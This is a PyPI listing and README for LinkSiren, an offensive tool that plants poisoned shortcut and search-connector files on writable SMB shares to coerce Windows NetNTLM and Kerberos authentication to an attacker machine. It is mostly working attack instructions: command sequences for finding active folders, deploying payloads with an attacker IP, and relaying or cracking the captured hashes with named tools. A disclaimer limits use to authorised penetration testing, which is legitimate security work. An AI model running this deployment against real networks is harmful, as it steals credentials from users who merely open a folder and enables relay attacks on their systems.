linksiren


Namelinksiren JSON
Version 0.0.1 PyPI version JSON
download
home_page
SummaryGeneration, targeted deployment, and scalable cleanup for files that coerce Windows authentication.
upload_time2024-02-25 03:54:04
maintainer
docs_urlNone
authorGeorge Hamilton
requires_python>=3.9
licenseBSD 3-Clause License Copyright (c) 2023, gjhami Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
keywords coerce pentest windows authentication coercion
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Description
_The Siren waits thee, singing song for song._ - Walter Savage Landor

LinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.

# Installation
Install using pip
```
# Optional: Create a virtual environment
python -m pip install linksiren

# Run with -h to output help info
linksiren -h
```

Install from source
```
# Download source code
git clone https://github.com/gjhami/LinkSiren.git
cd LinkSiren

# Optional: Set up a virtual environment and install requirements
python -m venv .venv
source ./.venv/bin/activate # Linux
# .\.venv\Scripts\activate # Windows

# Install requirements
python -m pip install -r requirements.txt

# Run with -h to output help info
python ./src/linksiren/__main__.py -h
```

# Usage
LinkSiren offers the following modes of operation:

## Generate
Create poisoned files to use for coercion and store them locally.
```
linksiren generate --help
usage: link_siren.py generate [-h] -a ATTACKER [-n PAYLOAD]

optional arguments:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
                        .searchConnector-ms, .lnk, or .url

Required Arguments:
  -a ATTACKER, --attacker ATTACKER
                        Attacker IP or hostname to place in malicious URL
```

## Rank
Given a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.
```
linksiren rank --help
usage: link_siren.py rank [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]

optional arguments:
  -h, --help            show this help message and exit
  -md MAX_DEPTH, --max-depth MAX_DEPTH
                        (Default: 3) The maximum depth of folders to search within the target.
  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
                        (Default: 2) Number of days as an integer for active files.
  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on.
                        Ranks are all set to 1 assigned.

Required Arguments:
  -u USERNAME, --username USERNAME
                        Username for authenticating to each share
  -p PASSWORD, --password PASSWORD
                        Password for authenticating to each share
  -d DOMAIN, --domain DOMAIN
                        Domain for authenticating to each share.Specify "." for local authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to file shares / base directories within which to rank
                        folders as potential locations for placing poisoned files.
```

## Identify
Given a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.
```
linksiren identify --help
usage: link_siren.py identify [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]
                              [-mf MAX_FOLDERS_PER_TARGET]

optional arguments:
  -h, --help            show this help message and exit
  -md MAX_DEPTH, --max-depth MAX_DEPTH
                        (Default: 3) The maximum depth of folders to search within the target
  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
                        (Default: 2) Max number of days since within which a file is considered active.
  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on.
                        Ranks are all set to 1.
  -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET
                        (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or
                        folder.

Required Arguments:
  -u USERNAME, --username USERNAME
                        Username for authenticating to each share
  -p PASSWORD, --password PASSWORD
                        Password for authenticating to each share
  -d DOMAIN, --domain DOMAIN
                        Domain for authenticating to each share.Specify "." for local authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to file shares / base directories for deployment or from
                        which to remove payload files
```

## Deploy
Generate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.
```
linksiren deploy --help
usage: link_siren.py deploy [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]

optional arguments:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
                        .searchConnector-ms, .lnk, or .url

Required Arguments:
  -u USERNAME, --username USERNAME
                        Username for authenticating to each share
  -p PASSWORD, --password PASSWORD
                        Password for authenticating to each share
  -d DOMAIN, --domain DOMAIN
                        Domain for authenticating to each share.Specify "." for local authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to folders into which poisoned files will be deployed.
  -a ATTACKER, --attacker ATTACKER
                        Attacker IP or hostname to place in poisoned files.
```

## Cleanup
Remove all payloads from the specified UNC paths, typically the output of `deploy` mode.
```
linksiren cleanup --help
usage: link_siren.py cleanup [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]

optional arguments:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,
                        .searchConnector-ms, .lnk, or .url

Required Arguments:
  -u USERNAME, --username USERNAME
                        Username for authenticating to each share
  -p PASSWORD, --password PASSWORD
                        Password for authenticating to each share
  -d DOMAIN, --domain DOMAIN
                        Domain for authenticating to each share.Specify "." for local authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to folders in which poisoned files are located.
  -a ATTACKER, --attacker ATTACKER
                        Attacker IP or hostname to place in poisoned files.
```

## Attack Overview
1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).
2. Create a list of UNC paths to writeable SMB shares.
    - Note: Make sure you can delete files in them for cleanup.
3. [Optional] Run LinkSiren in `generate` mode to write templates locally
4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.
5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.
6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication.
7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.
8. Let the hashes roll in. Relay and/or crack as desired.
9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.

## What Payload Type Should I Use?
Search Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically, and are capable of coercing both SMB and HTTP authentication using a single file.

## How do I use this NOW?
```bash
# Setup
git clone https://github.com/gjhami/LinkSiren.git && cd LinkSiren
python -m pip install -r requirements.txt

# Identify optimal locations for poisoned file deployment
linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>

# Deploy to identified locations
linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>

# Capture hashes / relay authentication

# Cleanup poisoned files
linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
```

## How do I use this the \~right\~ way?
```bash
# Get the project
git clone https://github.com/gjhami/LinkSiren.git
cd LinkSiren

# Set up a virtual environment and install requirements
python -m venv .venv
source ./.venv/bin/activate # Linux
# .\.venv\Scripts\activate # Windows
python -m pip install -r requirements.txt

# 1. Create a targets file containing accessible shares, one per line, in the following format: \\server.domain.tld\share
#    I recommend crackmapexec or shareenum, make sure you can delete files you deploy

# 2. Use LinkSiren to identify the most active folders on them
#    Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary
#    Note: Specify '.' as the domain to log in using a local user account
linksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>

# 3. Use LinkSiren to deploy payloads to all of the active folders
#    --identify saves UNC paths to active folders in folder_targets.txt
linksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>

# 4. Let the hashes come to you and relay them as you see fit :)
#    Use CrackMapExec and LdapRelayScan for relay target identification
#    Use LdapRelayScan to determine if you can relay HTTP auth to LDAP
#    Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine
#    You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked

# 5. Cleanup the payload files when you're finished gathering.
#    Set targets to a file containing UNC paths of all folders where payloads were written
#    --deploy saves UNC paths to deployed payloads in payload_folders.txt
#    Note: If you set a custom payload name (--payload) when deploying, you must set the same name here
linksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt
```

## How is this better than the other tools?
As in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.

Other tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.

LinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.

Summary
- Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files
- Targeted malicious file placement
- Single command deployment and cleanup
- Cross platform with python

## How will you make it even better?
I'm looking to add the following features:
- [x] Start the WebClient service on targets using searchConnector-ms and library-ms files (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#start-the-webclient-service) and [Farmer Source Code](https://github.com/mdsecactivebreach/Farmer/blob/main/crop/Crop/Crop.cs))
- [x] Coerce HTTP authentication with WebDAV connection strings (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#abuse))
- [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.
    - This can be accomplished by reviewing ACLs over SMB but is only useful if the SIDs in the ACLs can be mapped to the username used to connect to the share. WMI / RPC over SMB could be used to get SID information to map SIDs to usernames (definitely local, maybe also domain). Alternatively, LDAP could be queries for SID information associated with domain users in AD environments.
    - Alternatively, this could be accomplished by attempting to write a test file to the target directory and then delete it. This is what crackmapexec does.
- [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)
- [ ] Test for anonymous access to shares
- [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)
- [ ] Multithreading/Multiprocessing for faster share crawling
- [ ] Add a progress bar for share crawling
- [ ] Enable authentication using a NTLM hash
- [ ] Enable ticket based authnentication (Kerberos)

## Note
This tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.

            

Raw data

            {
    "_id": null,
    "home_page": "",
    "name": "linksiren",
    "maintainer": "",
    "docs_url": null,
    "requires_python": ">=3.9",
    "maintainer_email": "",
    "keywords": "coerce,pentest,windows,authentication,coercion",
    "author": "George Hamilton",
    "author_email": "",
    "download_url": "https://files.pythonhosted.org/packages/9f/01/d0f6e4d8ee7242bd610ab5808f709542e0d4bfb01e4aa2c28a452abbc07a/linksiren-0.0.1.tar.gz",
    "platform": null,
    "description": "# Description\n_The Siren waits thee, singing song for song._ - Walter Savage Landor\n\nLinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.\n\n# Installation\nInstall using pip\n```\n# Optional: Create a virtual environment\npython -m pip install linksiren\n\n# Run with -h to output help info\nlinksiren -h\n```\n\nInstall from source\n```\n# Download source code\ngit clone https://github.com/gjhami/LinkSiren.git\ncd LinkSiren\n\n# Optional: Set up a virtual environment and install requirements\npython -m venv .venv\nsource ./.venv/bin/activate # Linux\n# .\\.venv\\Scripts\\activate # Windows\n\n# Install requirements\npython -m pip install -r requirements.txt\n\n# Run with -h to output help info\npython ./src/linksiren/__main__.py -h\n```\n\n# Usage\nLinkSiren offers the following modes of operation:\n\n## Generate\nCreate poisoned files to use for coercion and store them locally.\n```\nlinksiren generate --help\nusage: link_siren.py generate [-h] -a ATTACKER [-n PAYLOAD]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -n PAYLOAD, --payload PAYLOAD\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,\n                        .searchConnector-ms, .lnk, or .url\n\nRequired Arguments:\n  -a ATTACKER, --attacker ATTACKER\n                        Attacker IP or hostname to place in malicious URL\n```\n\n## Rank\nGiven a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.\n```\nlinksiren rank --help\nusage: link_siren.py rank [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -md MAX_DEPTH, --max-depth MAX_DEPTH\n                        (Default: 3) The maximum depth of folders to search within the target.\n  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD\n                        (Default: 2) Number of days as an integer for active files.\n  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on.\n                        Ranks are all set to 1 assigned.\n\nRequired Arguments:\n  -u USERNAME, --username USERNAME\n                        Username for authenticating to each share\n  -p PASSWORD, --password PASSWORD\n                        Password for authenticating to each share\n  -d DOMAIN, --domain DOMAIN\n                        Domain for authenticating to each share.Specify \".\" for local authentication\n  -t TARGETS, --targets TARGETS\n                        Path to a text file containing UNC paths to file shares / base directories within which to rank\n                        folders as potential locations for placing poisoned files.\n```\n\n## Identify\nGiven a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.\n```\nlinksiren identify --help\nusage: link_siren.py identify [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f]\n                              [-mf MAX_FOLDERS_PER_TARGET]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -md MAX_DEPTH, --max-depth MAX_DEPTH\n                        (Default: 3) The maximum depth of folders to search within the target\n  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD\n                        (Default: 2) Max number of days since within which a file is considered active.\n  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on.\n                        Ranks are all set to 1.\n  -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET\n                        (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or\n                        folder.\n\nRequired Arguments:\n  -u USERNAME, --username USERNAME\n                        Username for authenticating to each share\n  -p PASSWORD, --password PASSWORD\n                        Password for authenticating to each share\n  -d DOMAIN, --domain DOMAIN\n                        Domain for authenticating to each share.Specify \".\" for local authentication\n  -t TARGETS, --targets TARGETS\n                        Path to a text file containing UNC paths to file shares / base directories for deployment or from\n                        which to remove payload files\n```\n\n## Deploy\nGenerate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.\n```\nlinksiren deploy --help\nusage: link_siren.py deploy [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -n PAYLOAD, --payload PAYLOAD\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,\n                        .searchConnector-ms, .lnk, or .url\n\nRequired Arguments:\n  -u USERNAME, --username USERNAME\n                        Username for authenticating to each share\n  -p PASSWORD, --password PASSWORD\n                        Password for authenticating to each share\n  -d DOMAIN, --domain DOMAIN\n                        Domain for authenticating to each share.Specify \".\" for local authentication\n  -t TARGETS, --targets TARGETS\n                        Path to a text file containing UNC paths to folders into which poisoned files will be deployed.\n  -a ATTACKER, --attacker ATTACKER\n                        Attacker IP or hostname to place in poisoned files.\n```\n\n## Cleanup\nRemove all payloads from the specified UNC paths, typically the output of `deploy` mode.\n```\nlinksiren cleanup --help\nusage: link_siren.py cleanup [-h] -u USERNAME -p PASSWORD -d DOMAIN -t TARGETS -a ATTACKER [-n PAYLOAD]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -n PAYLOAD, --payload PAYLOAD\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms,\n                        .searchConnector-ms, .lnk, or .url\n\nRequired Arguments:\n  -u USERNAME, --username USERNAME\n                        Username for authenticating to each share\n  -p PASSWORD, --password PASSWORD\n                        Password for authenticating to each share\n  -d DOMAIN, --domain DOMAIN\n                        Domain for authenticating to each share.Specify \".\" for local authentication\n  -t TARGETS, --targets TARGETS\n                        Path to a text file containing UNC paths to folders in which poisoned files are located.\n  -a ATTACKER, --attacker ATTACKER\n                        Attacker IP or hostname to place in poisoned files.\n```\n\n## Attack Overview\n1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).\n2. Create a list of UNC paths to writeable SMB shares.\n    - Note: Make sure you can delete files in them for cleanup.\n3. [Optional] Run LinkSiren in `generate` mode to write templates locally\n4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.\n5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.\n6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication.\n7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.\n8. Let the hashes roll in. Relay and/or crack as desired.\n9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.\n\n## What Payload Type Should I Use?\nSearch Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically, and are capable of coercing both SMB and HTTP authentication using a single file.\n\n## How do I use this NOW?\n```bash\n# Setup\ngit clone https://github.com/gjhami/LinkSiren.git && cd LinkSiren\npython -m pip install -r requirements.txt\n\n# Identify optimal locations for poisoned file deployment\nlinksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>\n\n# Deploy to identified locations\nlinksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>\n\n# Capture hashes / relay authentication\n\n# Cleanup poisoned files\nlinksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt\n```\n\n## How do I use this the \\~right\\~ way?\n```bash\n# Get the project\ngit clone https://github.com/gjhami/LinkSiren.git\ncd LinkSiren\n\n# Set up a virtual environment and install requirements\npython -m venv .venv\nsource ./.venv/bin/activate # Linux\n# .\\.venv\\Scripts\\activate # Windows\npython -m pip install -r requirements.txt\n\n# 1. Create a targets file containing accessible shares, one per line, in the following format: \\\\server.domain.tld\\share\n#    I recommend crackmapexec or shareenum, make sure you can delete files you deploy\n\n# 2. Use LinkSiren to identify the most active folders on them\n#    Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary\n#    Note: Specify '.' as the domain to log in using a local user account\nlinksiren identify --username <username> --password <password> --domain <domain.tld> --targets <shares file>\n\n# 3. Use LinkSiren to deploy payloads to all of the active folders\n#    --identify saves UNC paths to active folders in folder_targets.txt\nlinksiren deploy --username <username> --password <password> --domain <domain.tld> --targets folder_targets.txt --attacker <attacker IP>\n\n# 4. Let the hashes come to you and relay them as you see fit :)\n#    Use CrackMapExec and LdapRelayScan for relay target identification\n#    Use LdapRelayScan to determine if you can relay HTTP auth to LDAP\n#    Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine\n#    You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked\n\n# 5. Cleanup the payload files when you're finished gathering.\n#    Set targets to a file containing UNC paths of all folders where payloads were written\n#    --deploy saves UNC paths to deployed payloads in payload_folders.txt\n#    Note: If you set a custom payload name (--payload) when deploying, you must set the same name here\nlinksiren cleanup --username <username> --password <password> --domain <domain.tld> --targets payloads_written.txt\n```\n\n## How is this better than the other tools?\nAs in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.\n\nOther tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.\n\nLinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.\n\nSummary\n- Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files\n- Targeted malicious file placement\n- Single command deployment and cleanup\n- Cross platform with python\n\n## How will you make it even better?\nI'm looking to add the following features:\n- [x] Start the WebClient service on targets using searchConnector-ms and library-ms files (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#start-the-webclient-service) and [Farmer Source Code](https://github.com/mdsecactivebreach/Farmer/blob/main/crop/Crop/Crop.cs))\n- [x] Coerce HTTP authentication with WebDAV connection strings (see [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient#abuse))\n- [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.\n    - This can be accomplished by reviewing ACLs over SMB but is only useful if the SIDs in the ACLs can be mapped to the username used to connect to the share. WMI / RPC over SMB could be used to get SID information to map SIDs to usernames (definitely local, maybe also domain). Alternatively, LDAP could be queries for SID information associated with domain users in AD environments.\n    - Alternatively, this could be accomplished by attempting to write a test file to the target directory and then delete it. This is what crackmapexec does.\n- [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)\n- [ ] Test for anonymous access to shares\n- [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)\n- [ ] Multithreading/Multiprocessing for faster share crawling\n- [ ] Add a progress bar for share crawling\n- [ ] Enable authentication using a NTLM hash\n- [ ] Enable ticket based authnentication (Kerberos)\n\n## Note\nThis tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.\n",
    "bugtrack_url": null,
    "license": "BSD 3-Clause License  Copyright (c) 2023, gjhami  Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.  3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ",
    "summary": "Generation, targeted deployment, and scalable cleanup for files that coerce Windows authentication.",
    "version": "0.0.1",
    "project_urls": {
        "Homepage": "https://github.com/gjhami/LinkSiren",
        "Issues": "https://github.com/gjhami/LinkSiren/issues"
    },
    "split_keywords": [
        "coerce",
        "pentest",
        "windows",
        "authentication",
        "coercion"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "bd4d665610b181078831e650ed4cf08ab43ec58a966bc3dcea721ab49db95428",
                "md5": "06b08fae1470daaa7ae96fdef6a28b70",
                "sha256": "c598fe1f30eb51ac7ab97c371cb5981f22a31cbd6b9f75e806c0ba660cbfd64f"
            },
            "downloads": -1,
            "filename": "linksiren-0.0.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "06b08fae1470daaa7ae96fdef6a28b70",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.9",
            "size": 15983,
            "upload_time": "2024-02-25T03:54:03",
            "upload_time_iso_8601": "2024-02-25T03:54:03.082772Z",
            "url": "https://files.pythonhosted.org/packages/bd/4d/665610b181078831e650ed4cf08ab43ec58a966bc3dcea721ab49db95428/linksiren-0.0.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "9f01d0f6e4d8ee7242bd610ab5808f709542e0d4bfb01e4aa2c28a452abbc07a",
                "md5": "244b90736338e3b689186fd7f5e70a22",
                "sha256": "497c06abd4713cb27cf04fe1699429e7b871de62f7ebe7d7943f2b75d07080b5"
            },
            "downloads": -1,
            "filename": "linksiren-0.0.1.tar.gz",
            "has_sig": false,
            "md5_digest": "244b90736338e3b689186fd7f5e70a22",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.9",
            "size": 19361,
            "upload_time": "2024-02-25T03:54:04",
            "upload_time_iso_8601": "2024-02-25T03:54:04.746209Z",
            "url": "https://files.pythonhosted.org/packages/9f/01/d0f6e4d8ee7242bd610ab5808f709542e0d4bfb01e4aa2c28a452abbc07a/linksiren-0.0.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-02-25 03:54:04",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "gjhami",
    "github_project": "LinkSiren",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "requirements": [],
    "lcname": "linksiren"
}
        
Elapsed time: 0.18570s